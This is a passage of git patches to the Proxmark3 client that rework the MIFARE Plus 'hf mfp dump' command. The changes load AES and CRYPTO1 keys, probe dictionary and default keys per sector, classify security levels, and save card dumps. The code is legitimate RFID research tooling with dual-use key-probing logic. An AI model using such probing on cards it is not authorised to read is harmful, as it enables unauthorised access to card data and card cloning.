PrintAndLogEx(WARNING, "Failed to load AES key file, continuing without"); + } else { + int cnt = 0; + for (uint8_t s = 0; s < numSectors; s++) { + if (aesFoundKeys[0][s][0]) cnt++; + if (aesFoundKeys[1][s][0]) cnt++; + } + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " AES keys from key file", cnt); + } + } + + // 1b. Apply user-supplied AES key to all slots that don't have one yet + if (userkeylen == AES_KEY_LEN) { + int applied = 0; + for (uint8_t s = 0; s < numSectors; s++) { + for (uint8_t kt = 0; kt < 2; kt++) { + if (aesFoundKeys[kt][s][0] == 0) { + aesFoundKeys[kt][s][0] = 1; + memcpy(&aesFoundKeys[kt][s][1], userkey, AES_KEY_LEN); + applied++; + } + } + } + PrintAndLogEx(SUCCESS, "Applied user AES key to " _GREEN_("%d") " key slots", applied); + } + + // 1c. Probe AES dictionary + defaults for missing AES key slots + { + bool need_aes_probe = false; + for (uint8_t s = 0; s < numSectors; s++) { + if (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0) { + need_aes_probe = true; + break; + } + } + + if (need_aes_probe && !no_default) { + uint8_t *key_block = NULL; + uint32_t keycnt = 0; + res = mfp_load_keys(&key_block, &keycnt, NULL, 0, dict_fn, dictfnlen, card.uid, true); + if (res == PM3_SUCCESS && keycnt > 0) { + PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " AES keys against %u sectors...", keycnt, numSectors); + uint8_t end_sector = numSectors - 1; + res = plus_key_check(0, end_sector, 0, 1, key_block, keycnt, aesFoundKeys, verbose, true); + if (res == PM3_EOPABORTED) { + PrintAndLogEx(WARNING, "\nAborted"); + } + PrintAndLogEx(NORMAL, ""); + } + free(key_block); + } + } + + // ======================================== + // SL1 (CRYPTO1) Key loading + // ======================================== + // mfcFoundKeys[keytype][sector][0]=found, [1..6]=key + uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1]; + memset(mfcFoundKeys, 0, sizeof(mfcFoundKeys)); + + // 2a. Load MFC keys from binary key file (from hf mf chk/autopwn) + if (mfckeyfnlen > 0) { + res = mfp_load_mfc_keys_from_bin(mfc_key_fn, mfcFoundKeys, numSectors); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed to load MFC key file, continuing without"); + } else { + int cnt = 0; + for (uint8_t s = 0; s < numSectors; s++) { + if (mfcFoundKeys[0][s][0]) cnt++; + if (mfcFoundKeys[1][s][0]) cnt++; + } + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " MFC (CRYPTO1) keys from key file", cnt); + } + } + + // 2b. Load MFC dictionary keys and/or defaults for SL1 probing + { + bool need_mfc_probe = false; + for (uint8_t s = 0; s < numSectors; s++) { + if (mfcFoundKeys[0][s][0] == 0 || mfcFoundKeys[1][s][0] == 0) { + need_mfc_probe = true; + break; + } + } + + if (need_mfc_probe && !no_default) { + // load from MFC dictionary file + if (mfcdictfnlen > 0) { + uint32_t loaded = 0; + uint8_t *dict_keys = NULL; + res = loadFileDICTIONARY_safe(mfc_dict_fn, (void **)&dict_keys, MIFARE_KEY_SIZE, &loaded); + if (res == PM3_SUCCESS && loaded > 0) { + PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC dict keys for SL1 sectors...", loaded); + mfp_sl1_key_check(numSectors, dict_keys, loaded, mfcFoundKeys, verbose); + PrintAndLogEx(NORMAL, ""); + } + free(dict_keys); + } + + // always try MFC default keys + uint8_t *def_keys = NULL; + uint32_t def_cnt = 0; + if (mfp_load_mfc_default_keys(&def_keys, &def_cnt) == PM3_SUCCESS && def_cnt > 0) { + PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC default keys for SL1 sectors...", def_cnt); + mfp_sl1_key_check(numSectors, def_keys, def_cnt, mfcFoundKeys, verbose); + PrintAndLogEx(NORMAL, ""); + } + free(def_keys); + } + } + + // ======================================== + // Read phase - detect SL per sector and read + // ======================================== + uint16_t totalBlocks = 0; + for (uint8_t s = 0; s < numSectors; s++) { + totalBlocks += mfNumBlocksPerSector(s); + } + + uint8_t *carddata = calloc(totalBlocks * MFBLOCK_SIZE, sizeof(uint8_t)); + if (carddata == NULL) { + PrintAndLogEx(ERR, "Failed to allocate memory"); + return PM3_EMALLOC; + } + + uint8_t sectorSL[64]; + memset(sectorSL, MFP_SL_UNKNOWN, sizeof(sectorSL)); + + uint8_t sectorRead[64]; + memset(sectorRead, 0, sizeof(sectorRead)); + + PrintAndLogEx(INFO, "Reading card data (detecting SL per sector)..."); + + int sectorsRead = 0; + int sl3Count = 0; + int sl1Count = 0; + + for (uint8_t s = 0; s < numSectors; s++) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard"); + break; + } + + bool readOK = false; + uint16_t blockOffset = mfFirstBlockOfSector(s); + uint8_t blocksInSector = mfNumBlocksPerSector(s); + + // --- Try SL3 (AES) first --- + for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + if (aesFoundKeys[kt][s][0] == 0) { + continue; + } + + uint8_t sector_data[16 * 16] = {0}; + res = mfpReadSector(s, kt, &aesFoundKeys[kt][s][1], sector_data, verbose); + if (res == PM3_SUCCESS) { + memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); + sectorRead[s] = 1; + sectorSL[s] = MFP_SL_3; + readOK = true; + sectorsRead++; + sl3Count++; + } else if (verbose) { + PrintAndLogEx(DEBUG, "Sector %u SL3 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + } + } + + // --- Try SL1 (CRYPTO1) if SL3 failed --- + for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + if (mfcFoundKeys[kt][s][0] == 0) { + continue; + } + + uint8_t sector_data[16 * 16] = {0}; + res = mfp_read_sector_sl1(s, kt, &mfcFoundKeys[kt][s][1], sector_data, verbose); + if (res == PM3_SUCCESS) { + memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); + sectorRead[s] = 1; + sectorSL[s] = MFP_SL_1; + readOK = true; + sectorsRead++; + sl1Count++; + } else if (verbose) { + PrintAndLogEx(DEBUG, "Sector %u SL1 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + } + } + + if (readOK) { + PrintAndLogEx(INPLACE, "Reading sector %3d / %3d ( " _GREEN_("ok, %s") " )", + s, numSectors - 1, + (sectorSL[s] == MFP_SL_3) ? "SL3" : "SL1"); + } else { + PrintAndLogEx(INPLACE, "Reading sector %3d / %3d ( " _RED_("fail") " )", s, numSectors - 1); + } + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Successfully read " _GREEN_("%d") " / %d sectors (SL3: %d, SL1: %d)", sectorsRead, numSectors, sl3Count, sl1Count); + PrintAndLogEx(NORMAL, ""); + + // ======================================== + // Print sector summary + // ======================================== + PrintAndLogEx(INFO, "-----+----+----------------------------------+----------------------------------"); + PrintAndLogEx(INFO, " Sec | SL | key A | key B"); + PrintAndLogEx(INFO, "-----+----+----------------------------------+----------------------------------"); + + for (uint8_t s = 0; s < numSectors; s++) { + char strA[46 + 1] = {0}; + char strB[46 + 1] = {0}; + const char *slStr; + + switch (sectorSL[s]) { + case MFP_SL_3: + slStr = _GREEN_("3 "); + if (aesFoundKeys[0][s][0]) { + snprintf(strA, sizeof(strA), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[0][s][1], AES_KEY_LEN)); + } else { + snprintf(strA, sizeof(strA), _RED_("%s"), "--------------------------------"); + } + if (aesFoundKeys[1][s][0]) { + snprintf(strB, sizeof(strB), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[1][s][1], AES_KEY_LEN)); + } else { + snprintf(strB, sizeof(strB), _RED_("%s"), "--------------------------------"); + } + break; + case MFP_SL_1: + slStr = _YELLOW_("1 "); + if (mfcFoundKeys[0][s][0]) { + snprintf(strA, sizeof(strA), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[0][s][1], MIFARE_KEY_SIZE)); + } else { + snprintf(strA, sizeof(strA), _RED_("%s"), "--------------------------------"); + } + if (mfcFoundKeys[1][s][0]) { + snprintf(strB, sizeof(strB), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[1][s][1], MIFARE_KEY_SIZE)); + } else { + snprintf(strB, sizeof(strB), _RED_("%s"), "--------------------------------"); + } + break; + default: + slStr = _RED_("? "); + snprintf(strA, sizeof(strA), _RED_("%s"), "--------------------------------"); + snprintf(strB, sizeof(strB), _RED_("%s"), "--------------------------------"); + break; + } + + PrintAndLogEx(INFO, " " _YELLOW_("%03d") " | %s | %s | %s", s, slStr, strA, strB); + } + PrintAndLogEx(INFO, "-----+----+----------------------------------+----------------------------------"); + PrintAndLogEx(NORMAL, ""); + + // ======================================== + // Display block data + // ======================================== + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorRead[s] == 0) { + continue; + } + + mf_print_sector_hdr(s); + uint16_t blockOffset = mfFirstBlockOfSector(s); + for (uint8_t b = 0; b < mfNumBlocksPerSector(s); b++) { + mf_print_block_one(blockOffset + b, carddata + ((blockOffset + b) * MFBLOCK_SIZE), verbose); + } + } + PrintAndLogEx(NORMAL, ""); + + if (nosave) { + PrintAndLogEx(INFO, "Called with no-save option"); + free(carddata); + return PM3_SUCCESS; + } + + // ======================================== + // Save dump + // ======================================== + size_t dumpsize = totalBlocks * MFBLOCK_SIZE; + + // generate filename from UID if not provided + if (datafnlen < 1) { + char *fptr = calloc(sizeof(char) * (strlen("hf-mfp-") + strlen("-dump")) + card.uidlen * 2 + 1, sizeof(uint8_t)); + if (fptr == NULL) { + PrintAndLogEx(ERR, "Failed to allocate memory"); + free(carddata); return PM3_EMALLOC; } + strcpy(fptr, "hf-mfp-"); + FillFileNameByUID(fptr, card.uid, "-dump", card.uidlen); + strcpy(data_fn, fptr); + free(fptr); + } + pm3_save_mf_dump(data_fn, carddata, dumpsize, jsfCardMemory); - // iso14a_card_select_t card ; - // int res = mfp_read_tag(&card, mem, key_fn); - // if (res != PM3_SUCCESS) { - // free(mem); - // return res; - // } + if (sectorsRead != numSectors) { + PrintAndLogEx(HINT, "Partial dump: %d of %d sectors read", sectorsRead, numSectors); + PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf mfp chk --dump`") " and/or " _YELLOW_("`hf mf chk`") " to find more keys"); + } - - // Skip saving card data to file - if (nosave) { - PrintAndLogEx(INFO, "Called with no save option"); - free(mem); - return PM3_SUCCESS; - } - - // Save to file - // if (strlen(data_fn) < 1) { - // char *fptr = calloc(sizeof(char) * (strlen("hf-mfp-") + strlen("-dump")) + card.uidlen * 2 + 1, sizeof(uint8_t)); - // strcpy(fptr, "hf-mfp-"); - // FillFileNameByUID(fptr, card.uid, "-dump", card.uidlen); - // strcpy(data_fn, fptr); - // free(fptr); - // } - - // pm3_save_mf_dump(filename, dump, MIFARE_4K_MAX_BYTES, jsfCardMemory); - - free(mem); - return PM3_SUCCESS; - */ + free(carddata); + return PM3_SUCCESS; } static int CmdHFMFPMAD(const char *Cmd) { @@ -2333,7 +2800,7 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, IfPm3Iso14443a, "------------------- " _CYAN_("operations") " ---------------------"}, {"auth", CmdHFMFPAuth, IfPm3Iso14443a, "Authentication"}, {"chk", CmdHFMFPChk, IfPm3Iso14443a, "Check keys"}, - {"dump", CmdHFMFPDump, IfPm3Iso14443a, "Dump MIFARE Plus tag to binary file"}, + {"dump", CmdHFMFPDump, IfPm3Iso14443a, "Dump MIFARE Plus tag to file"}, {"info", CmdHFMFPInfo, IfPm3Iso14443a, "Tag information"}, {"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Check and print MAD"}, {"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks from card"}, From 44a40064b79fc0a3db1c17c9aa47c6541bd8bd9d Mon Sep 17 00:00:00 2001 From: Tomas Nilsson Date: Sat, 7 Mar 2026 16:41:26 +0100 Subject: [PATCH 065/162] Fix SL1 key probing hang in hf mfp dump Replace mf_check_keys (which hangs in firmware infinite retry loop) with mf_read_sector for SL1 key probing. Defer MFC key probing to the read phase so it only runs per-sector when SL3 auth fails. Also fix mfcProbeKeys memory leak on early exit paths. --- client/src/cmdhfmfp.c | 153 ++++++++++++++++++++++++++---------------- 1 file changed, 95 insertions(+), 58 deletions(-) diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index a2a21b3a6..d4db69723 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -230,10 +230,16 @@ static int mfp_read_card_id(iso14a_card_select_t *card, int *nxptype) { return PM3_ERFTRANS; } + uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK with ATS, 2: OK no ATS, 3: proprietary + if (select_status == 0) { + PrintAndLogEx(ERR, "No card present or card not responding"); + DropField(); + return PM3_ERFTRANS; + } + memcpy(card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); if (nxptype) { - uint64_t select_status = resp.oldarg[0]; uint8_t ats_hist_pos = 0; if ((card->ats_len > 3) && (card->ats[0] > 1)) { @@ -1465,6 +1471,11 @@ static int CmdHFMFPChConf(const char *Cmd) { return PM3_SUCCESS; } +// Progress indicators (non-verbose mode): +// '.' progress heartbeat, printed every 10 key attempts +// '+' key found for a sector +// 'R' retry after transient communication error +// 'E' exchange error, aborts the check static int plus_key_check(uint8_t start_sector, uint8_t end_sector, uint8_t startKeyAB, uint8_t endKeyAB, uint8_t *keys, size_t keycount, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], bool verbose, bool newline) { @@ -1987,42 +1998,38 @@ static int mfp_load_mfc_default_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt) { return PM3_SUCCESS; } -// Probe MFC (CRYPTO1) keys against sectors that still need keys -static int mfp_sl1_key_check(uint8_t numSectors, uint8_t *keys, uint32_t keycnt, +// Try to find an MFC (CRYPTO1) key for a sector by attempting to read it. +// Uses mf_read_sector which has a proper timeout, unlike mf_check_keys +// which can hang in firmware if the card doesn't respond to ISO 14443-3. +// Returns true if a working key was found. +static bool mfp_sl1_try_keys(uint8_t sectorNo, uint8_t *keys, uint32_t keycnt, uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], bool verbose) { - for (uint8_t s = 0; s < numSectors; s++) { - for (uint8_t kt = 0; kt < 2; kt++) { - if (mfcFoundKeys[kt][s][0]) { - continue; - } + uint8_t dummy[16 * 16] = {0}; - if (kbd_enter_pressed()) { - return PM3_EOPABORTED; - } + for (uint8_t kt = 0; kt < 2; kt++) { + if (mfcFoundKeys[kt][sectorNo][0]) { + continue; + } - uint8_t blockNo = mfFirstBlockOfSector(s); - - for (uint32_t i = 0; i < keycnt; i++) { - uint64_t found_key = 0; - int res = mf_check_keys(blockNo, kt, true, 1, keys + i * MIFARE_KEY_SIZE, &found_key); - if (res == PM3_SUCCESS) { - mfcFoundKeys[kt][s][0] = 1; - num_to_bytes(found_key, MIFARE_KEY_SIZE, &mfcFoundKeys[kt][s][1]); - - if (verbose) { - PrintAndLogEx(INFO, "SL1 key found: sector %u key%s [ " _GREEN_("%s") " ]", - s, (kt == 0) ? "A" : "B", - sprint_hex_inrow(&mfcFoundKeys[kt][s][1], MIFARE_KEY_SIZE)); - } else { - PrintAndLogEx(NORMAL, "+" NOLF); - } - break; + for (uint32_t i = 0; i < keycnt; i++) { + uint8_t *trykey = keys + i * MIFARE_KEY_SIZE; + int res = mf_read_sector(sectorNo, kt, trykey, dummy); + if (res == PM3_SUCCESS) { + mfcFoundKeys[kt][sectorNo][0] = 1; + memcpy(&mfcFoundKeys[kt][sectorNo][1], trykey, MIFARE_KEY_SIZE); + if (verbose) { + PrintAndLogEx(INFO, "SL1 key found: sector %u key%s [ " _GREEN_("%s") " ]", + sectorNo, (kt == 0) ? "A" : "B", + sprint_hex_inrow(trykey, MIFARE_KEY_SIZE)); + } else { + PrintAndLogEx(NORMAL, "+" NOLF); } + return true; } } } - return PM3_SUCCESS; + return false; } static int CmdHFMFPDump(const char *Cmd) { @@ -2201,40 +2208,43 @@ static int CmdHFMFPDump(const char *Cmd) { } } - // 2b. Load MFC dictionary keys and/or defaults for SL1 probing - { - bool need_mfc_probe = false; - for (uint8_t s = 0; s < numSectors; s++) { - if (mfcFoundKeys[0][s][0] == 0 || mfcFoundKeys[1][s][0] == 0) { - need_mfc_probe = true; - break; - } + // 2b. Build combined MFC key list for SL1 probing during read phase. + // We don't probe upfront because mf_check_keys can hang in firmware + // if the card is in SL3 mode. Instead we try keys per-sector during + // the read phase, only for sectors where SL3 auth failed. + uint8_t *mfcProbeKeys = NULL; + uint32_t mfcProbeKeyCnt = 0; + + if (!no_default) { + // load MFC dictionary file + uint8_t *dict_keys = NULL; + uint32_t dict_cnt = 0; + if (mfcdictfnlen > 0) { + loadFileDICTIONARY_safe(mfc_dict_fn, (void **)&dict_keys, MIFARE_KEY_SIZE, &dict_cnt); } - if (need_mfc_probe && !no_default) { - // load from MFC dictionary file - if (mfcdictfnlen > 0) { - uint32_t loaded = 0; - uint8_t *dict_keys = NULL; - res = loadFileDICTIONARY_safe(mfc_dict_fn, (void **)&dict_keys, MIFARE_KEY_SIZE, &loaded); - if (res == PM3_SUCCESS && loaded > 0) { - PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC dict keys for SL1 sectors...", loaded); - mfp_sl1_key_check(numSectors, dict_keys, loaded, mfcFoundKeys, verbose); - PrintAndLogEx(NORMAL, ""); + // load MFC defaults + uint8_t *def_keys = NULL; + uint32_t def_cnt = 0; + mfp_load_mfc_default_keys(&def_keys, &def_cnt); + + // merge into single list + uint32_t total = dict_cnt + def_cnt; + if (total > 0) { + mfcProbeKeys = calloc(total, MIFARE_KEY_SIZE); + if (mfcProbeKeys) { + if (dict_cnt > 0) { + memcpy(mfcProbeKeys, dict_keys, dict_cnt * MIFARE_KEY_SIZE); } - free(dict_keys); + if (def_cnt > 0) { + memcpy(mfcProbeKeys + dict_cnt * MIFARE_KEY_SIZE, def_keys, def_cnt * MIFARE_KEY_SIZE); + } + mfcProbeKeyCnt = total; + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%u") " MFC keys for SL1 sector probing", total); } - - // always try MFC default keys - uint8_t *def_keys = NULL; - uint32_t def_cnt = 0; - if (mfp_load_mfc_default_keys(&def_keys, &def_cnt) == PM3_SUCCESS && def_cnt > 0) { - PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC default keys for SL1 sectors...", def_cnt); - mfp_sl1_key_check(numSectors, def_keys, def_cnt, mfcFoundKeys, verbose); - PrintAndLogEx(NORMAL, ""); - } - free(def_keys); } + free(dict_keys); + free(def_keys); } // ======================================== @@ -2248,6 +2258,7 @@ static int CmdHFMFPDump(const char *Cmd) { uint8_t *carddata = calloc(totalBlocks * MFBLOCK_SIZE, sizeof(uint8_t)); if (carddata == NULL) { PrintAndLogEx(ERR, "Failed to allocate memory"); + free(mfcProbeKeys); return PM3_EMALLOC; } @@ -2295,6 +2306,7 @@ static int CmdHFMFPDump(const char *Cmd) { } // --- Try SL1 (CRYPTO1) if SL3 failed --- + // First try pre-loaded keys from MFC key file for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { if (mfcFoundKeys[kt][s][0] == 0) { continue; @@ -2314,6 +2326,28 @@ static int CmdHFMFPDump(const char *Cmd) { } } + // If still not read, try probing MFC dictionary/default keys + if (!readOK && mfcProbeKeys != NULL && mfcProbeKeyCnt > 0) { + if (mfp_sl1_try_keys(s, mfcProbeKeys, mfcProbeKeyCnt, mfcFoundKeys, verbose)) { + // Key found and stored in mfcFoundKeys, now read sector + for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + if (mfcFoundKeys[kt][s][0] == 0) { + continue; + } + uint8_t sector_data[16 * 16] = {0}; + res = mfp_read_sector_sl1(s, kt, &mfcFoundKeys[kt][s][1], sector_data, verbose); + if (res == PM3_SUCCESS) { + memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); + sectorRead[s] = 1; + sectorSL[s] = MFP_SL_1; + readOK = true; + sectorsRead++; + sl1Count++; + } + } + } + } + if (readOK) { PrintAndLogEx(INPLACE, "Reading sector %3d / %3d ( " _GREEN_("ok, %s") " )", s, numSectors - 1, @@ -2398,6 +2432,7 @@ static int CmdHFMFPDump(const char *Cmd) { if (nosave) { PrintAndLogEx(INFO, "Called with no-save option"); free(carddata); + free(mfcProbeKeys); return PM3_SUCCESS; } @@ -2412,6 +2447,7 @@ static int CmdHFMFPDump(const char *Cmd) { if (fptr == NULL) { PrintAndLogEx(ERR, "Failed to allocate memory"); free(carddata); + free(mfcProbeKeys); return PM3_EMALLOC; } strcpy(fptr, "hf-mfp-"); @@ -2428,6 +2464,7 @@ static int CmdHFMFPDump(const char *Cmd) { } free(carddata); + free(mfcProbeKeys); return PM3_SUCCESS; } From 3e8d52db581cf2b6e3da05efe1a754ebb050dcc9 Mon Sep 17 00:00:00 2001 From: Tomas Nilsson Date: Sat, 7 Mar 2026 17:23:59 +0100 Subject: [PATCH 066/162] Optimize hf mfp dump: phased SL classification and quiet probing Restructure dump into 4 phases: 1. Classify sectors via single MFC probe (SL3 vs SL1) 2. AES dictionary only on SL3 sectors 3. MFC dictionary only on SL1 sectors 4. Read with found keys Suppress firmware debug output during key probing to prevent auth error message flood, matching MifareChkKeys behavior. --- client/src/cmdhfmfp.c | 337 ++++++++++++++++++++++++++++-------------- 1 file changed, 230 insertions(+), 107 deletions(-) diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index d4db69723..b393af092 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -39,6 +39,7 @@ #include "cmdtrace.h" #include "crypto/originality.h" #include "jansson.h" +#include "preferences.h" // getDeviceDebugLevel, setDeviceDebugLevel static const uint8_t mfp_default_key[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; static uint16_t mfp_card_adresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0x9006, 0x9007, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; @@ -2002,6 +2003,10 @@ static int mfp_load_mfc_default_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt) { // Uses mf_read_sector which has a proper timeout, unlike mf_check_keys // which can hang in firmware if the card doesn't respond to ISO 14443-3. // Returns true if a working key was found. +// Try MFC (CRYPTO1) keys on a sector using mf_read_sector. +// Returns true if a working key was found (stored in mfcFoundKeys). +// Bails out early if the card doesn't respond to ISO 14443-3 select +// (PM3_ETIMEOUT), which means the sector is SL3-only. static bool mfp_sl1_try_keys(uint8_t sectorNo, uint8_t *keys, uint32_t keycnt, uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], bool verbose) { @@ -2027,6 +2032,14 @@ static bool mfp_sl1_try_keys(uint8_t sectorNo, uint8_t *keys, uint32_t keycnt, } return true; } + // Timeout means card doesn't respond to ISO 14443-3 select at all. + // This sector is SL3-only; no point trying more CRYPTO1 keys. + if (res == PM3_ETIMEOUT) { + if (verbose) { + PrintAndLogEx(DEBUG, "Sector %u not responding to ISO 14443-3, skipping MFC probe", sectorNo); + } + return false; + } } } return false; @@ -2124,12 +2137,18 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(NORMAL, ""); // ======================================== - // SL3 (AES) Key loading + // Phase 0: Key file loading (no card interaction yet) // ======================================== + + // AES keys: aesFoundKeys[keytype][sector][0]=found, [1..16]=key uint8_t aesFoundKeys[2][64][AES_KEY_LEN + 1]; memset(aesFoundKeys, 0, sizeof(aesFoundKeys)); - // 1a. Load AES keys from JSON key file (from hf mfp chk --dump) + // MFC keys: mfcFoundKeys[keytype][sector][0]=found, [1..6]=key + uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1]; + memset(mfcFoundKeys, 0, sizeof(mfcFoundKeys)); + + // 0a. Load AES keys from JSON key file (from hf mfp chk --dump) if (keyfnlen > 0) { res = mfp_load_keys_from_json(key_fn, aesFoundKeys); if (res != PM3_SUCCESS) { @@ -2144,7 +2163,7 @@ static int CmdHFMFPDump(const char *Cmd) { } } - // 1b. Apply user-supplied AES key to all slots that don't have one yet + // 0b. Apply user-supplied AES key to all slots that don't have one yet if (userkeylen == AES_KEY_LEN) { int applied = 0; for (uint8_t s = 0; s < numSectors; s++) { @@ -2159,41 +2178,7 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Applied user AES key to " _GREEN_("%d") " key slots", applied); } - // 1c. Probe AES dictionary + defaults for missing AES key slots - { - bool need_aes_probe = false; - for (uint8_t s = 0; s < numSectors; s++) { - if (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0) { - need_aes_probe = true; - break; - } - } - - if (need_aes_probe && !no_default) { - uint8_t *key_block = NULL; - uint32_t keycnt = 0; - res = mfp_load_keys(&key_block, &keycnt, NULL, 0, dict_fn, dictfnlen, card.uid, true); - if (res == PM3_SUCCESS && keycnt > 0) { - PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " AES keys against %u sectors...", keycnt, numSectors); - uint8_t end_sector = numSectors - 1; - res = plus_key_check(0, end_sector, 0, 1, key_block, keycnt, aesFoundKeys, verbose, true); - if (res == PM3_EOPABORTED) { - PrintAndLogEx(WARNING, "\nAborted"); - } - PrintAndLogEx(NORMAL, ""); - } - free(key_block); - } - } - - // ======================================== - // SL1 (CRYPTO1) Key loading - // ======================================== - // mfcFoundKeys[keytype][sector][0]=found, [1..6]=key - uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1]; - memset(mfcFoundKeys, 0, sizeof(mfcFoundKeys)); - - // 2a. Load MFC keys from binary key file (from hf mf chk/autopwn) + // 0c. Load MFC keys from binary key file (from hf mf chk/autopwn) if (mfckeyfnlen > 0) { res = mfp_load_mfc_keys_from_bin(mfc_key_fn, mfcFoundKeys, numSectors); if (res != PM3_SUCCESS) { @@ -2208,27 +2193,21 @@ static int CmdHFMFPDump(const char *Cmd) { } } - // 2b. Build combined MFC key list for SL1 probing during read phase. - // We don't probe upfront because mf_check_keys can hang in firmware - // if the card is in SL3 mode. Instead we try keys per-sector during - // the read phase, only for sectors where SL3 auth failed. + // 0d. Build combined MFC probe key list (dictionary + defaults) uint8_t *mfcProbeKeys = NULL; uint32_t mfcProbeKeyCnt = 0; if (!no_default) { - // load MFC dictionary file uint8_t *dict_keys = NULL; uint32_t dict_cnt = 0; if (mfcdictfnlen > 0) { loadFileDICTIONARY_safe(mfc_dict_fn, (void **)&dict_keys, MIFARE_KEY_SIZE, &dict_cnt); } - // load MFC defaults uint8_t *def_keys = NULL; uint32_t def_cnt = 0; mfp_load_mfc_default_keys(&def_keys, &def_cnt); - // merge into single list uint32_t total = dict_cnt + def_cnt; if (total > 0) { mfcProbeKeys = calloc(total, MIFARE_KEY_SIZE); @@ -2240,7 +2219,6 @@ static int CmdHFMFPDump(const char *Cmd) { memcpy(mfcProbeKeys + dict_cnt * MIFARE_KEY_SIZE, def_keys, def_cnt * MIFARE_KEY_SIZE); } mfcProbeKeyCnt = total; - PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%u") " MFC keys for SL1 sector probing", total); } } free(dict_keys); @@ -2248,7 +2226,177 @@ static int CmdHFMFPDump(const char *Cmd) { } // ======================================== - // Read phase - detect SL per sector and read + // Phase 1: Classify sectors as SL3 or SL1 + // ======================================== + // Try one MFC key (FFFFFFFFFFFF) on each sector to determine SL. + // mf_read_sector returns: + // PM3_SUCCESS -> SL1 confirmed, key found + // PM3_EUNDEF -> SL1 confirmed (card responded to ISO 14443-3 auth), wrong key + // PM3_ETIMEOUT -> SL3 (card doesn't respond to ISO 14443-3) + + // Suppress firmware debug messages during classification and key probing. + // The many auth attempts produce a flood of "Auth error" / "Can't select card" + // messages from the firmware that interfere with other tools reading stdout. + uint8_t dbg_curr = DBG_NONE; + if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { + free(mfcProbeKeys); + return PM3_EFAILED; + } + setDeviceDebugLevel(DBG_NONE, false); + + uint8_t sectorSL[64]; + memset(sectorSL, MFP_SL_UNKNOWN, sizeof(sectorSL)); + + // Sectors with pre-loaded keys already have a known SL + for (uint8_t s = 0; s < numSectors; s++) { + if (aesFoundKeys[0][s][0] || aesFoundKeys[1][s][0]) { + sectorSL[s] = MFP_SL_3; + } + if (mfcFoundKeys[0][s][0] || mfcFoundKeys[1][s][0]) { + sectorSL[s] = MFP_SL_1; + } + } + + // Probe unclassified sectors with FFFFFFFFFFFF (CRYPTO1) + { + uint8_t probe_key[MIFARE_KEY_SIZE]; + memset(probe_key, 0xFF, MIFARE_KEY_SIZE); + uint8_t dummy[16 * 16] = {0}; + PrintAndLogEx(INFO, "Classifying sector security levels..."); + + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] != MFP_SL_UNKNOWN) { + continue; + } + + DropField(); + res = mf_read_sector(s, 0, probe_key, dummy); + if (res == PM3_SUCCESS) { + // FFFFFFFFFFFF worked -> SL1 with default key + sectorSL[s] = MFP_SL_1; + mfcFoundKeys[0][s][0] = 1; + memcpy(&mfcFoundKeys[0][s][1], probe_key, MIFARE_KEY_SIZE); + } else if (res == PM3_EUNDEF) { + // Card responded to ISO 14443-3 but wrong key -> SL1 + sectorSL[s] = MFP_SL_1; + } else { + // Timeout or other error -> SL3 + sectorSL[s] = MFP_SL_3; + } + } + DropField(); + + 